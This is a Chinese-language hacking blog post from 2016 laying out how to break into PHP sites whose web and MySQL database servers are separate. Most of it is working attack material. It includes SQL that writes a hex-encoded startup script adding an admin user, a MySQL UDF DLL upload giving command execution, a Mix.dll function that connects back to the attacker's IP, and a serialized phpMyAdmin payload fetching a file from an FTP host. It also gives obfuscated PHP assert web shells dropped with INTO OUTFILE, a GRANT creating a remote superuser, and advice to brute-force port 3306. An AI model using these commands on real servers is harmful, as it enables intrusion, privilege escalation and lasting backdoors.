php网站web数据分离入侵姿势
首页 > web安全    作者:webbaozi   2016年11月20日 21:59 星期日   热度:1516°   百度已收录  
时间:2016-11-20 21:59   热度:1516° 
情况一:php网站大多数配置mysql的数据库,如果web和数据库不分离root权限的话,一般也是读文件,爆路径,扫文件,读配置,最终目的是写shell或者能更直观的连接数据库!!

附:

php爆路径的方法或者扫phpinfo():也跟下面差不多


如果扫到有phpmyadmin,直接登录就好, 如果要拿shell的话,实在拿不到shell就退而求其次,当没有phpmyadmin一类的时候
phpmyadmin 暴绝对路径: 
1. 用Web路径自动盲爆工具 V2.0 乌云内测(带字典).rar
2.扫phpinfo.php  info.php  php.php  test.php,php_info.php info.php,mysql.php phpinfo.php等等
3. 网站如果存在上传 上传超长文件名,linux情况下爆出路径居多!
4.phpmyadmin构造xml上传暴路径
5.phpmyadmin读取系统文件cmd爆路径!
6.phpmyadmin读取 iis6,iis7配置文件  读取apache  Nginx 配置文件!

windows2003 iis6配置文件所在位置C:\Windows/system32\inetsrv\metabase.xml
win2008/2012 iis7.5 在这个文件C:\Windows\System32\inetsrv\config\applicationHost.config 
apache配置:/etc/httpd/conf/httpd.conf
                     /usr/local/apache2/conf/httpd.conf 
                     /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
                     /etc/httpd/conf/httpd.conf // apache配置文件
                     /etc/rsyncd.conf //同步程序配置文件


Nginx配置  /etc/nginx/conf.d/vhost.conf
                /usr/local/etc/nginx/nginx.conf 

穿山甲只能读一部分,  上sqlmap
sqlmap -u url --file-read 'C:\Windows\System32\inetsrv\config\applicationHost.config'

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件



情况2:数据分离自然是web服务器和data服务器,

当web服务器存在漏洞,譬如只有注入:获得一个注入点root权限可读可写:

web程序存在注入,root可读可写,没有旁站,只对外开了80,网站没有上传,后台ip限制访问,管理员密码不能解密的情况下:
data服务器  不知道ip (分linux的情况和 windows下 )


可以通过注入获取到 mysql的 root账号密码:读文件是linux的话,会去读文件看data服务器上有没有网站,如果开了就跟上面情况一差不多情况了,一般既然data和web分离自然不会在data服务器上开网站
这个时候只有data数据库的mysql账号密码 还知道其中一个账号可以外链,当然首要的是找到data数据库服务器的ip地址:
linux的可以读取这个文件 获取ip地址:/etc/sysconfig/network-script/ifcfg-eth0  如果是内网就当我没说,
其他linux下跟网络配置相关的文件 : /etc/HOSTNAME、/etc/resolv.conf、/etc/host.conf、/etc/sysconfig/network、/etc/hosts

如果数据库服务器是windows 服务器,我们知道mysql可以外链  账号 密码 下探讨:
第一步:也是怎么获知 windows服务器的ip地址:

1.除开写启动让下载远控小马,好像也没有好的方法,个人不太喜欢等,代码也不行,所以xss一直不行!
[email protected]@hostname  (这个祝愿管理员sb以ip命名吧)
3.扫整个机房,ip难搞到吧,批量扫描相关ip段,爆破3306,实在不行,zmap扫整个国家的3306 在帅选出来 去爆破了!

还是想先搞定data服务器,再去战web服务器,不知道ip时突破思路欢迎各位补充,在搞不定web服务器的情况下,只有一个办法先搞定data服务器,但不知道ip 思路断了,路只能到这里了,还是不甘心吧!!有没有办法直接注入点 把ip反弹出来,oracle可以,mssql最高权限也能执行命令,如果mssql是db权限 数据分离能反弹ip么,mysql  mix注入点反弹没实际用过,这注入点实现还是比较困难吧,有实际用到过的 希望能贴出来,自己去看看能找到不!!! 

写启添加用户的:select 0x6E,0x65,0x74,0x20,0x75736572206B387465616D204B387465616D353230202F6164640D0A6E6574206C6F63616C67726F75702061646D696E6973747261746F7273206B387465616D202F616464 into dumpfile 'C:/Documents and Settings/All Users/Start Menu/Programs/Startup/k8.bat';  

能补充的:
concat(system_user(),0x20,@@datadir,0x20,@@basedir)

[email protected]@hostname  (这个祝愿管理员sb以ip命名吧)
1:system_user() 系统用户名
2:user()        用户名
3:current_user  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
8:@@datadir     读取数据库路径
9:@@basedir    MYSQL 安装路径
10:@@version_compile_os   操作系统  Windows Server 2003,


3. phpmyadmin直接提取windows服务器 这个论坛有人写出来过过程:
查询 select @@basedir  (或者 select @@datadir)
得到MySQL目录 C:\MySql\
假如该目录不存在\lib\plugin目录,利用ADS创建
查询 select 'xxx' into dumpfile 'C:\\MySQL\\lib::$INDEX_ALLOCATION';
此时会报错
ERROR 3 (HY000): Error writing file 'C:\MySQL\lib::$INDEX_ALLOCATION' (Errcode: 22)
但是lib目录已经创建了
再查询 
select 'xxx' into dumpfile 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

导出UDF.DLL
随便选一个库
查询 CREATE TABLE Temp_udf(udf BLOB);
查询 INSERT into Temp_udf values (CONVERT($shellcode,CHAR));   //$shellcode请用UDF用hex加密后的代码
查询 SELECT udf FROM Temp_udf INTO DUMPFILE 'C:\\MySQL\\lib\\plugin\\udf.dll';--
注意:在后面记得要加 -- 否者会出错,我在此处浪费无限时间(>4h)
原因可能是PhpMyAdmin查询时会自动在语句末尾加上Limit 语句,导致出错

提权
查询 Create function cmdshell returns string soname 'udf.dll';  //此处不能填绝对路径 只能是dll名
查询 select * from mysql.func;                  //看看cmdshell function是否创立,创立就继续
查询 select cmdshell('net user');               //运行各种命令提权



4.phpmyadmin mix反弹:

use test
create table cdb_mix(abc longblob);       //建立表cdb_mix
insert into cdb_mix values(load_file('E:\\wwwroot\\Mix.dll'));
select * from cdb_mix into dumpfile 'c:\\windows\\Mix.dll';                       //把mix.ll移动到winodws目录下
create function Mixconnect returns string soname 'Mix.dll';
select Mixconnect('你的机器ip','2012');
drop table if exists cdb_mix;

实际:
use test
create table cdb_mix(abc longblob);       //建立表cdb_mix 
INSERT into cdb_mix values (CONVERT($shellcode,CHAR));   //$shellcode请用mix.dll用hex加密后的代码
SELECT *  FROM cdb_mix INTO DUMPFILE 'C:\\MySQL\\lib\\plugin\\mix.dll';--
create function Mixconnect returns string soname 'Mix.dll';
select Mixconnect('你的机器ip','2012');
drop table if exists cdb_mix;

一些其他mysql资料:
1.. 影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3
   概述:PhpMyAdmin存在PREG_REPLACE_EVAL漏洞
    利用模块:exploit/multi/http/phpmyadmin_preg_replace
    CVE: CVE-2013-3238

2. 影响版本:phpMyAdmin v3.5.2.2
    概述:PhpMyAdmin存在server_sync.php 后门漏洞
    利用模块:exploit/multi/http/phpmyadmin_3522_backdoor
    CVE: CVE-2012-5159

3. 影响版本: 2.11.x    < 2.11.9.5 and 3.x < 3.1.3.1;
    概述:PhpMyAdmin配置文件/config/config.inc.php存在命令执行
    利用模块:exploit/unix/webapp/phpmyadmin_config
    CVE: CVE-2009-1151

4.  影响版本:phpmyadmin 2.11.3--phpmyadmin 2.11.4利用方式:直接在phpmyadmin的用户名内填入:  密码空
'localhost'@'@"

5. phpMyAdmin < 3.3.10.2 || phpMyAdmin < 3.4.3.1    phpMyAdmin 3.x Swekey远程代码注入攻击

6. phpmyadmin 2.80 反序列 lfi、 rfi包含 漏洞文件 ss (转载基友)
http://www.baidu.com/phpMyAdmin/scripts/setup.php
configuration=a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:34:"ftp://ko:[email protected]/elong.txt";}}


7.http://localhost/pma/gis_data_editor.php?token=0b21e4cff71e1df9f63c9c4952a8547f&gis_data[gis_type]=/../../../../u1.gif%00

8 .phpmyadmin一句话开启外链mysql :添加超级用户guetsec密码ooxx并且允许外连 
   GRANT ALL PRIVILEGES ON *.* TO 'guetsec'@'%' IDENTIFIED BY 'ooxx' WITH GRANT OPTION;

9 .phpmyadmin  拿shell 
第一种
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );
INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST[cc]);  ?>');
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/wamp/www/darkmoon.php';
DROP TABLE IF EXISTS `darkmoon`;

第二种方法
Create TABLE moon (darkmoon text NOT NULL);
Insert INTO moon (darkmoon) VALUES('<?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST[cc]);  ?>');
select darkmoon from moon into outfile 'd:/wamp/www/darkmoon2.php';
Drop TABLE IF EXISTS moon;

第三种方法:
select '<?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST[cc]);  ?>'INTO OUTFILE 'd:/wamp/www/darkmoon3.php'
s/*!elect*/ '<?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST[cc]);  ?>' INTO OUTFILE '/home/user_ace/public_html/ice.php'

第四种方法
select '<?php  $a = "a"."s"."s"."e"."r"."t";  $a($_POST[cc]);  ?>' INTO OUTFILE 'd:/wamp/www/darkmoon4.php'
127.0.0.1/darkmoon4.php?cmd=net user
二维码加载中...
本文作者:webbaozi      文章标题: php网站web数据分离入侵姿势
本文地址:http://www.webbaozi.com/webaq/15.html
版权声明:若无注明,本文皆为“baozi|学与用”原创,转载请保留文章出处。

返回顶部    首页    手机版本   
版权所有:baozi|学与用    站长: webbaozi  蜀ICP备16032848号-1